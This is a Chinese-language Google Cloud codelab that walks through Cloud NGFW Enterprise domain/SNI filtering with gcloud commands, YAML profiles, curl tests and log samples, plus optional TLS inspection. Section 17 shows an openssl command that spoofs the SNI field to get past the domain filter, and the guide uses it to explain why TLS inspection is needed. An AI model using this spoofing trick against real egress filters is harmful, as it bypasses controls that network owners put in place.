Cloud NGFW Enterprise 网域/SNI 过滤 Codelab [可选 TLS 检查]

1. 简介

Cloud Next Generation Firewall (NGFW)

Cloud Next Generation Firewall 是一种完全分布式的防火墙服务,具有高级保护功能、微细分和广泛的覆盖范围,可保护您的 Google Cloud 工作负载免遭内部和外部攻击。

Cloud NGFW 具有以下优势:

  • 分布式防火墙服务:Cloud NGFW 在每个工作负载上提供基于有状态的完全分布式主机强制执行,以实现零信任安全架构。
  • 简化配置和部署:Cloud NGFW 实现网络和分层防火墙政策,可以附加到资源层次结构节点。这些政策在 Google Cloud 资源层次结构中提供一致的防火墙体验。
  • 精细控制和微细分:防火墙政策和 Identity and Access Management (IAM) 控制的标记相结合,可以跨虚拟私有云 (VPC) 网络和组织对南北向和东西向流量进行精细控制,并精确到单个虚拟机。

Cloud NGFW 可在以下层级中使用:

  • Cloud Next Generation Firewall Essentials
  • Cloud Next Generation Firewall Standard
  • Cloud Next Generation Firewall Enterprise

Cloud NGFW 标准 FQDN 对象可以将完全限定域名 (FQDN) 转换为 IP 地址,然后针对 IP 地址列表强制执行规则。不过,如果使用 Cloud NGFW Enterprise 并启用网域过滤功能,则可以进一步执行检查。

Cloud NGFW 企业版

Cloud NGFW Enterprise 目前为分布式 Google Cloud 防火墙结构提供入侵防御服务 (IPS),这是一项第 7 层功能。

Cloud NGFW Enterprise 现在具有网域过滤功能,可使用域名控制 HTTP(S) 流量,而无需依赖 IP 地址。

对于 HTTPS 流量的网域/SNI 过滤,作为 TLS 握手的一部分,客户端 Hello 是一种具有服务器名称指示 (SNI) 的扩展。SNI 是 TLS 协议的扩展,用于发送客户端尝试访问的主机名。过滤功能将根据此文件进行验证。

对于 HTTP 流量,没有 SNI,因此系统只会使用 HTTP Host 标头字段来应用过滤。

网域过滤功能通过 UrlFilteringProfile 进行配置,而 UrlFilteringProfile 是一种新的安全配置文件。UrlFilteringProfile 将包含一个 UrlFilters 列表,其中每个 UrlFilter 都包含一个操作、一个匹配器字符串列表和一个唯一优先级。此配置使用“网址”而非“网域”进行命名,以便在将来推出完整网址过滤功能时轻松过渡,而无需创建新的安全配置文件类型。

UrlFilteringProfiles 包含一个隐式的最低优先级 (2147483647) UrlFilter,该 UrlFilter 将拒绝所有与优先级更高的 UrlFilter 不匹配的连接。

构建内容

此 Codelab 需要单个项目,并且能够创建 VPC 网络以及管理多个网络和安全资源。本教程将演示 Cloud NGFW Enterprise 如何提供网域和 SNI 过滤功能,并提供有关 TLS 检查的可选说明。

我们将测试允许和拒绝规则的多种场景,包括使用通配符。

4a779fae790d117.png

网络防火墙政策规则库的最终状态将类似于下表:

优先级

方向

目标

来源

目的地

操作

类型

200

入站

全部

IAP

不限

允许

基本功能版

300

出站

全部

不限

0.0.0.0/0:80,443

L7 检查

企业

学习内容

  • 如何创建网络防火墙政策。
  • 如何配置和使用 Cloud NGFW 企业网域/SNI 过滤。
  • 如何配置威胁防范功能(除了网域/SNI 过滤之外)。
  • 如何查看日志。
  • [可选] 如何启用 TLS 检查。

所需条件

  • Google Cloud 项目。
  • 了解如何部署实例和配置网络组件。
  • 网络政策防火墙配置知识。

2. 准备工作

创建/更新变量

此 Codelab 使用了 $variables 来帮助在 Cloud Shell 中实现 gcloud 配置。

在 Cloud Shell 中,运行以下命令,并根据需要替换方括号内的信息:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=domain-sni

3. 启用 API

如果您尚未启用这些 API,请启用它们:

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable privateca.googleapis.com

4. Cloud NGFW Enterprise 端点创建

由于 Cloud NGFW 企业端点创建大约需要 20 分钟,因此系统会先创建该端点,并在创建端点的同时并行完成基本设置。

即使您不打算使用威胁防护配置文件,网域/SNI 过滤也需要防火墙端点。

创建安全配置文件和安全配置文件组:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$project_id

运行以下命令,确认端点正在创建 (CREATING)。

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

预期输出(请注意,输出格式可能会因所使用的客户端而异):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

创建过程大约需要 20 分钟。前往“基本设置”部分,并行创建所需资源。

5. 基本设置

VPC 网络和子网

VPC 网络和子网

创建 VPC 网络和子网:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

创建外部 IP 地址、Cloud Router 路由器和 Cloud NAT 网关:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

创建实例

创建客户端实例:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet \
   --no-address \
   --zone $zone 

全球网络防火墙政策

创建全球网络防火墙政策:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Domain/SNI Filtering" --global

创建必需的 Cloud 防火墙基本规则,以允许来自 Identity-Aware Proxy 范围的流量:

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
      --src-ip-ranges=35.235.240.0/20

将云防火墙政策与 VPC 网络相关联:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. 为允许创建网域/SNI 过滤配置

接下来,我们将配置允许和拒绝的网域。在 Cloud Shell 中,创建 YAML 文件:

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: ALLOW
      priority: 1000
      urls:
      - 'www.example.com'
EOF

通过导入 YAML 配置来创建安全配置文件:

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

预期输出:

Request issued for: [$prefix-sp]
Waiting for operation [organizations/$org_id/locations/global/operations/operation-1758319415956-63f2ea4309525-8d2da6a0-929e6304] to complete...done.                                                              
createTime: '2025-09-19T22:03:36.008789416Z'
etag: aIWSVHl8Hbj726iTDFROnlceKINsUbfI-8at816WNgU
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
updateTime: '2025-09-19T22:03:38.355672775Z'
urlFilteringProfile:
  urlFilters:
  - filteringAction: ALLOW
    priority: 1000
    urls:
    - www.example.com
  - filteringAction: DENY
    priority: 2147483647
    urls:
    - '*'

创建安全配置文件组:

gcloud network-security security-profile-groups create $prefix-spg --organization=$org_id --location=global --url-filtering-profile=organizations/$org_id/locations/global/securityProfiles/$prefix-sp

验证 SPG 是否包含安全配置文件:

gcloud network-security security-profile-groups describe $prefix-spg \
--location=global \
--organization=$org_id \
--project=$project_id

预期输出:

{
  "createTime": "2025-09-19T22:06:15.298569417Z",
  "dataPathId": "685",
  "etag": "Ru65whAbcsnTKYpVtKRGBtBUX2EbrPgCWI0_9540B00",
  "name": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg",
  "updateTime": "2025-09-19T22:06:19.201991641Z",
  "urlFilteringProfile": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp"
}

7. 云防火墙端点关联

定义环境变量(如果您尚未这样做,或者更喜欢使用脚本方法)。

确认 Cloud 防火墙端点已成功创建。仅当状态显示为 ACTIVE 时才继续操作(创建期间的预期状态为 CREATING):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

预期输出(请注意,输出格式可能会因所使用的客户端而异):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

将 Cloud 防火墙端点与 VPC 网络相关联:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

关联过程大约需要 10 分钟。只有当状态显示为 ACTIVE 时(创建期间的预期状态为 CREATING),才能继续执行下一部分:

gcloud network-security firewall-endpoint-associations list

complete 为 true 时的预期输出:

ID: $prefix-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

8. 为网域/SNI 过滤创建防火墙规则

Google 具有隐式允许出站流量防火墙规则。如果我们想强制执行网域/SNI 过滤,则必须明确定义规则。以下规则将发送出站流量,以供我们的安全配置文件检查目标端口 80 和 443。

gcloud compute network-firewall-policies rules create 300 \
--action=apply_security_profile_group \
--firewall-policy=$prefix-fwpolicy  \
--global-firewall-policy \
--direction=EGRESS \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--layer4-configs=tcp:80,tcp:443 \
--dest-ip-ranges=0.0.0.0/0 \
--enable-logging

9. 验证允许规则

通过 IAP 启动与虚拟机的 SSH 连接:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

将示例请求发送到允许的目标位置:

curl https://www.example.com --max-time 2

请注意,由于存在“允许”防火墙规则,此请求已成功。

我们来尝试几个不在列表中的网域。

curl https://example.com --max-time 2
curl https://google.com --max-time 2
curl https://wikipedia.org --max-time 2

预期输出:

curl: (35) Recv failure: Connection reset by peer
curl: (35) Recv failure: Connection reset by peer
curl: (35) Recv failure: Connection reset by peer

为什么“example.com”无法正常运行?这是因为安全配置文件配置明确包含“www.example.com”。如果我们想允许 example.com 的所有子网域,可以使用通配符。

其他请求也失败了。这是因为安全配置文件组具有最低优先级的默认拒绝,并且仅允许 www.example.com。

退出虚拟机以返回到 Cloud Shell。

exit

10. 更新通配符的网域/SNI 过滤配置

我们来看看 YAML 文件,并进行一些额外的更新,以展示其他功能,包括通配符支持。我们将创建一个允许“*.com”的规则,该规则等同于允许以 .com 结尾的任何网域。注意:此操作会完全替换上一部分中创建的原始 YAML 文件的内容。

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: ALLOW
      priority: 2000
      urls:
      - '*.com'
EOF

使用新的 YAML 配置更新安全配置文件:

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

验证安全配置文件配置:

gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id

预期输出:

{
  "createTime": "2025-09-19T22:03:36.008789416Z",
  "etag": "NWFkiDgvE1557Fwx7TVTUiMJBAtnWVnWQ2-hhGEiXA0",
  "name": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp",
  "type": "URL_FILTERING",
  "updateTime": "2025-09-20T03:45:42.519263424Z",
  "urlFilteringProfile": {
    "urlFilters": [
      {
        "filteringAction": "ALLOW",
        "priority": 2000,
        "urls": [
          "*.com"
        ]
      },
      {
        "filteringAction": "DENY",
        "priority": 2147483647,
        "urls": [
          "*"
        ]
      }
    ]
  }
}

11. 验证通配符规则

我们来验证通配符规则是否正常运行。通过 IAP 启动与虚拟机的 SSH 连接:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

将示例请求发送到允许的目标位置:

curl https://github.com --max-time 2
curl https://google.com --max-time 2

所有这些请求都应已成功完成。您可以随意尝试任何其他有效的 .com 域名。如果仍未成功,请确保您已等待至少 10 分钟,然后重试。

我们甚至可以尝试“.com”的多个子网域,所有子网域都应成功。

curl https://mail.google.com --max-time 2

退出虚拟机以返回到 Cloud Shell。

exit

12. 更新了拒绝的网域/SNI 过滤配置

我们已展示安全配置文件末尾的 * 存在隐式 DENY 规则,并使用 filteringAction 作为“ALLOW”创建了“允许”的网域。下面我们来讨论如何将 filteringAction 用作“DENY”。当 DENY 操作位于明确的 ALLOW 操作之前时,可能会很有用。请参考以下示例。

我们将更新现有的 YAML,以允许 *.com,但明确拒绝某些 .com 网域。

我们将修改 YAML 文件,以拒绝 *.github.com 和 *.google.com,同时明确允许所有其他 *.com 并保留隐式默认拒绝。请注意,例外情况的优先级必须具有较低的优先级编号:(1000 与 2000)和(1500 与 2000)。

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: DENY
      priority: 1000
      urls:
      - '*.github.com'
    - filteringAction: DENY
      priority: 1500
      urls:
      - '*.google.com'
    - filteringAction: ALLOW
      priority: 2000
      urls:
      - '*.com'
EOF

使用新的 YAML 配置更新安全配置文件:

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

验证安全配置文件配置:

gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id

13. 验证拒绝规则

我们来验证一下 DENY 规则是否正常运行。通过 IAP 启动与虚拟机的 SSH 连接:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

向被拒目的地发送示例请求:

curl https://www.github.com --max-time 2
curl https://mail.google.com --max-time 2

由于匹配了“DENY”规则,这两个请求应该失败。

发送一些其他请求:

curl https://github.com --max-time 2
curl https://google.com --max-time 2

为什么这些方法有效?这些规则之所以有效,是因为 DENY 规则针对的是“.github.com”和“.google.com”。对 github.com 和 google.com 的请求不包含该通配符,因为该通配符引用的是 github.com 和 google.com 的子网域。

对 .com 网域的其他请求应会成功,而对其他网域的请求则会默认遭到拒绝。(.org、.net、.me 等)

退出虚拟机以返回到 Cloud Shell。

exit

14. 更新了默认允许的网域/SNI 过滤配置

如果您希望使用显式拒绝规则实现默认允许行为,该怎么办?我们将更新 YAML 以展示此行为。我们将为所有 .com 或 .net 网域配置 DENY 规则,并允许所有其他网域。

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: DENY
      priority: 1000
      urls:
      - '*.com'
    - filteringAction: DENY
      priority: 1500
      urls:
      - '*.net'
    - filteringAction: ALLOW
      priority: 2000000000
      urls:
      - '*'
EOF

使用新的 YAML 配置更新安全配置文件:

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

验证安全配置文件配置:

gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id

预期输出:

{
  "createTime": "2025-09-19T22:03:36.008789416Z",
  "etag": "72Q4RbjDyfjLPeNcNLAaJrUBgpO21idaqTMeDZf4VSw",
  "name": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp",
  "type": "URL_FILTERING",
  "updateTime": "2025-09-20T04:32:53.299276787Z",
  "urlFilteringProfile": {
    "urlFilters": [
      {
        "filteringAction": "DENY",
        "priority": 1000,
        "urls": [
          "*.com"
        ]
      },
      {
        "filteringAction": "DENY",
        "priority": 1500,
        "urls": [
          "*.net"
        ]
      },
      {
        "filteringAction": "ALLOW",
        "priority": 2000000000,
        "urls": [
          "*"
        ]
      },
      {
        "filteringAction": "DENY",
        "priority": 2147483647,
        "urls": [
          "*"
        ]
      }
    ]
  }
}

请注意,针对 * 的隐式 DENY 仍然存在。由于我们已配置优先级更高(值更低)的默认规则,并将 filteringAction 设置为 ALLOW,因此该规则变得无关紧要。

(2000000000 对比 2147483647)

15. 验证具有默认允许的拒绝规则

我们来验证 DENY 规则是否与默认 ALLOW 一起正常运行。通过 IAP 启动与虚拟机的 SSH 连接:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

向被拒目的地发送示例请求:

curl https://www.github.com --max-time 2
curl https://www.php.net --max-time 2

这两个请求应已失败,因为它们与“DENY”规则匹配。任何 .com 或 .net 请求都应失败。

发送一些应该成功的请求(任何其他顶级网域):

curl https://wikipedia.org --max-time 2
curl https://ifconfig.me --max-time 2

这些请求应会成功,因为它们会命中优先级为 2000000000 的“默认”允许规则。

16. 探索网域/SNI 过滤的日志

我们来了解一下如何验证防火墙规则是否正在检查网络流量以进行网域/SNI 过滤。

在 Cloud 控制台中,前往 Logs Explorer,然后输入以下过滤条件:

jsonPayload.rule_details.priority:(300) AND jsonPayload.rule_details.reference=~"^network:[^/]*/firewallPolicy:domain-sni-fwpolicy$"

上述过滤条件会查看我们创建的名为 $prefix-fwpolicy 的防火墙政策,以及优先级为 300 的规则,该规则具有与网域/SNI 过滤配置关联的安全配置文件组。

91854cacaec44798.png

如您所见,“处置”状态为“已拦截”,表示流量已被拦截并发送到防火墙引擎进行处理。

现在,如需查看实际的网域/SNI 过滤日志,我们可以在 Logs Explorer 中输入以下过滤条件:(必须将 $project_id 替换为您的 project_id 值)

logName="projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter"

29fe9cfa3009cb70.png

如果我们展开一些详细信息,就可以看到以下示例(已清理):

{
  "insertId": "mro2t1f4banf9",
  "jsonPayload": {
    "direction": "CLIENT_TO_SERVER",
    "detectionTime": "2025-09-20T04:39:40.713432713Z",
    "connection": {
      "serverPort": 443,
      "serverIp": "198.35.26.96",
      "clientPort": 37410,
      "protocol": "TCP",
      "clientIp": "10.0.0.2"
    },
    "action": "ALLOW",
    "@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.URLFilterLog",
    "ruleIndex": 2000000000,
    "interceptInstance": {
      "projectId": "$project_id",
      "zone": "$zone",
      "vm": "$prefix-$zone-client"
    },
    "applicationLayerDetails": {
      "uri": "",
      "protocol": "PROTOCOL_UNSPECIFIED"
    },
    "securityProfileGroupDetails": {
      "organizationId": "$org_id",
      "securityProfileGroupId": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg"
    },
    "sessionLayerDetails": {
      "sni": "wikipedia.org",
      "protocolVersion": "TLS1_2"
    },
    "denyType": "unspecified",
    "interceptVpc": {
      "projectId": "$project_id",
      "vpc": "$prefix-vpc"
    },
    "uriMatched": ""
  },
  "resource": {
    "type": "networksecurity.googleapis.com/FirewallEndpoint",
    "labels": {
      "id": "$prefix-$zone",
      "resource_container": "organizations/$org_id",
      "location": "$zone"
    }
  },
  "timestamp": "2025-09-20T04:39:43.758897121Z",
  "logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter",
  "receiveTimestamp": "2025-09-20T04:39:43.758897121Z"
}

上面的日志示例显示了对 wikipedia.org 的请求,该请求被允许,因为它命中了优先级为 2000000000 的规则,该规则为“*”,且 filterAction 为 ALLOW。还有其他详细信息,包括 SNI。

我们可以查看一个 DENY 示例日志:

{
  "insertId": "1pllrqlf60jr29",
  "jsonPayload": {
    "securityProfileGroupDetails": {
      "securityProfileGroupId": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg",
      "organizationId": "$org_id"
    },
    "action": "DENY",
    "interceptVpc": {
      "vpc": "$prefix-vpc",
      "projectId": "$project_id"
    },
    "connection": {
      "serverIp": "45.112.84.18",
      "clientIp": "10.0.0.2",
      "protocol": "TCP",
      "serverPort": 443,
      "clientPort": 45720
    },
    "@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.URLFilterLog",
    "applicationLayerDetails": {
      "uri": "",
      "protocol": "PROTOCOL_UNSPECIFIED"
    },
    "sessionLayerDetails": {
      "sni": "www.php.net",
      "protocolVersion": "TLS1_2"
    },
    "interceptInstance": {
      "zone": "$zone",
      "projectId": "$project_id",
      "vm": "$prefix-$zone-client"
    },
    "detectionTime": "2025-09-20T04:37:57.345031164Z",
    "direction": "CLIENT_TO_SERVER",
    "ruleIndex": 1500,
    "uriMatched": "",
    "denyType": "SNI"
  },
  "resource": {
    "type": "networksecurity.googleapis.com/FirewallEndpoint",
    "labels": {
      "id": "$prefix-$zone",
      "resource_container": "organizations/$org_id",
      "location": "$zone"
    }
  },
  "timestamp": "2025-09-20T04:38:03.757200395Z",
  "logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter",
  "receiveTimestamp": "2025-09-20T04:38:03.757200395Z"
}

如上所示,此请求是在请求被拒绝时记录的。该请求发送到了 www.php.net,与安全配置文件中的规则 1500 相匹配。同样,它会根据 SNI 进行匹配,以做出决策。

17. 在存在 SNI 仿冒时验证规则

如简介中所述,NGFW Enterprise 可以查看 HTTP 流量的 HTTP 主机头,也可以查看 TLS 加密流量的 SNI。个人可以伪造 SNI。如果他们这样做,会发生什么情况?

我们来验证一下行为。通过 IAP 启动与虚拟机的 SSH 连接:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

运行以下 openssl 命令来欺骗 SNI:

openssl s_client -connect www.google.com:443 -servername ifconfig.me

在上述示例中,预期结果是,对 .com 和 .net 网域的请求会被阻止,而其他顶级网域会被允许。以下是仿冒回答的示例。请求发送到应被屏蔽的 www.google.com,但我们指定的 SNI 不是 www.google.com,而是 ifconfig.me。由于该政策是根据 SNI 进行检查,因此会将其视为“允许”的网域并放行。我们已成功与 google.com 建立 TLS 连接。

预期输出:

CONNECTED(00000003)
depth=2 C = US, O = Google Trust Services LLC, CN = GTS Root R1
verify return:1
depth=1 C = US, O = Google Trust Services, CN = WR2
verify return:1
depth=0 CN = www.google.com
verify return:1
---
Certificate chain
 0 s:CN = www.google.com
   i:C = US, O = Google Trust Services, CN = WR2
   a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256
   v:NotBefore: Sep  8 08:37:54 2025 GMT; NotAfter: Dec  1 08:37:53 2025 GMT
 1 s:C = US, O = Google Trust Services, CN = WR2
   i:C = US, O = Google Trust Services LLC, CN = GTS Root R1
   a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256
   v:NotBefore: Dec 13 09:00:00 2023 GMT; NotAfter: Feb 20 14:00:00 2029 GMT
 2 s:C = US, O = Google Trust Services LLC, CN = GTS Root R1
   i:C = BE, O = GlobalSign nv-sa, OU = Root CA, CN = GlobalSign Root CA
   a:PKEY: rsaEncryption, 4096 (bit); sigalg: RSA-SHA256
   v:NotBefore: Jun 19 00:00:42 2020 GMT; NotAfter: Jan 28 00:00:42 2028 GMT
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIFIjCCBAqgAwIBAgIRAM14YrdibR1qCrCsFSaLpS0wDQYJKoZIhvcNAQELBQAw
OzELMAkGA1UEBhMCVVMxHjAcBgNVBAoTFUdvb2dsZSBUcnVzdCBTZXJ2aWNlczEM
MAoGA1UEAxMDV1IyMB4XDTI1MDkwODA4Mzc1NFoXDTI1MTIwMTA4Mzc1M1owGTEX
MBUGA1UEAxMOd3d3Lmdvb2dsZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQC70XEda08twtQq8yhHAP5LJDIIvyOLrUMP3EnttHXtYH1t0W2isAFp
z1l+3kTV+j/0LYNtTHYeeR+VtyGyPvmmMC/BQ8hkYBxtO2XNSDuF5Avw0lIsTGSN
O0DxsRp8wSEc3h/xQrEPlXrI301y7136VTw79vQwhU0sAhzArBk1Kak2tGCrGUpL
TtiMD6pm1PEtvwY4jeei8n9467JsFs4De9nv/W/Y23XYqfilAT2vaehvxAiByEeU
5U0DCiKGPzR02sA3aExxjKRbhmHugGM0LceTLdp2+a4hJUBqOgck66HMTGEvhq4B
Mdn5N/KBBdGovoAxf1EiO+h8EWsDXkdVAgMBAAGjggJBMIICPTAOBgNVHQ8BAf8E
BAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUDbnpqw80izeJW//holp4bVObRRUwHwYDVR0jBBgwFoAU3hse7XkV1D43JMMh
u+w0OW1CsjAwWAYIKwYBBQUHAQEETDBKMCEGCCsGAQUFBzABhhVodHRwOi8vby5w
a2kuZ29vZy93cjIwJQYIKwYBBQUHMAKGGWh0dHA6Ly9pLnBraS5nb29nL3dyMi5j
cnQwGQYDVR0RBBIwEIIOd3d3Lmdvb2dsZS5jb20wEwYDVR0gBAwwCjAIBgZngQwB
AgEwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2MucGtpLmdvb2cvd3IyL29CRllZ
YWh6Z1ZJLmNybDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB1AMz7D2qFcQll/pWb
U87psnwi6YVcDZeNtql+VMD+TA2wAAABmSiwb7kAAAQDAEYwRAIgUgwfOTyMz1t2
IoMnKJ53W+kZw7Jsu32WvzgsckwoVUsCIF13LpnKVkz4nb5ns+gCV9cmXtjrOIYR
los6Y3B55Zc4AHcAEvFONL1TckyEBhnDjz96E/jntWKHiJxtMAWE6+WGJjoAAAGZ
KLBu2wAABAMASDBGAiEAs7m+95jkhA5h/ycpQu8uLo2AZsIpOX6BvJiycuvgMJsC
IQC6O2leGpUvSExL6fYvpVba3mrNVlw1a5u8OFI7NSguhTANBgkqhkiG9w0BAQsF
AAOCAQEAa9vVQ6zoBODliAAhLTG3uYaQZevaE96lOdD0jnRw/u3EzNL4UnDED/O+
x8XNvv5njb5MsntnYUgQda3nNtYfpGe6qvuYhyiBegdzqBsHVik4Rzlp/YeMGAV/
zqKl+Wtg5iCjq4+yI3aLex36NeFA7n8SQbKc0n8PvmAF7Anh80H3A/XPaINTKueO
kBltI+iP9FPL64b5NbcNqeanibsOE/2tMImLF/7Kp1/5IFCq7UsR09mBRRfUbRyc
1Zp7ndj5sMLqqgCuF8wTaELMubN4pw5S9FdO7iWA254+NhXidnU8WNHadgR0OmWr
jr89HAhAtpQGEarldpmnJPMadHEcdw==
-----END CERTIFICATE-----
subject=CN = www.google.com
issuer=C = US, O = Google Trust Services, CN = WR2
---
No client certificate CA names sent
Peer signing digest: SHA256
Peer signature type: RSA-PSS
Server Temp Key: X25519, 253 bits
---
SSL handshake has read 4495 bytes and written 397 bytes
Verification: OK
---
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
Server public key is 2048 bit
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 0 (ok)
---

而 TLS 检查有助于弥补这一漏洞。

关闭连接并退出虚拟机:

"ctrl" + c
exit

18. [可选] TLS 检查

配置 TLS 资源

此部分是可选的,因为网域/SNI 过滤功能无需 TLS 检查即可正常运行。不过,如果您计划使用威胁防御功能,或者在未来可以使用完整网址过滤功能时,能够在安全配置文件中构建基于路径的规则,那么您可能需要进行 TLS 检查。

此外,由于存在 SNI 欺骗的可能性,TLS 检查还提供额外的检查层。

创建 CA 池。此资源将用于存放我们为 NGFW Enterprise 生成的根 CA 证书。

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=devops

创建根 CA。此 CA 证书将用于通过 NGFW Enterprise 为请求签名其他证书。

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Domain/SNI"

如果您看到以下提示,请回答 y

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)? 

创建一个服务账号。此服务账号将用于为 NGFW Enterprise 请求证书:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

为服务账号设置 IAM 权限:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

创建 TLS 政策 YAML 文件。此文件将包含有关特定资源的信息:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

导入 TLS 检查政策:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

更新端点关联以启用 TLS:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

获取 CA 证书并将其添加到客户端的 CA 存储区。这是信任所必需的,因为 NGFW Enterprise 会建立 TLS 并提供来自证书授权机构 (CA) 池的签名证书:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

将 CA 证书转移到客户端:

gcloud compute scp --tunnel-through-iap  $prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

通过 SSH 连接到虚拟机,将 CA 证书移至 /usr/local/share/ca-certificates,然后更新 CA 存储区:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv domain-sni-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

退出虚拟机,然后在 Cloud Shell 中继续操作。

更新 TLS 检查的防火墙规则

gcloud compute network-firewall-policies rules update 300 --action=apply_security_profile_group --firewall-policy=$prefix-fwpolicy  --global-firewall-policy --direction=EGRESS --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg --layer4-configs=tcp:80,tcp:443 --dest-ip-ranges=0.0.0.0/0 --enable-logging --tls-inspect

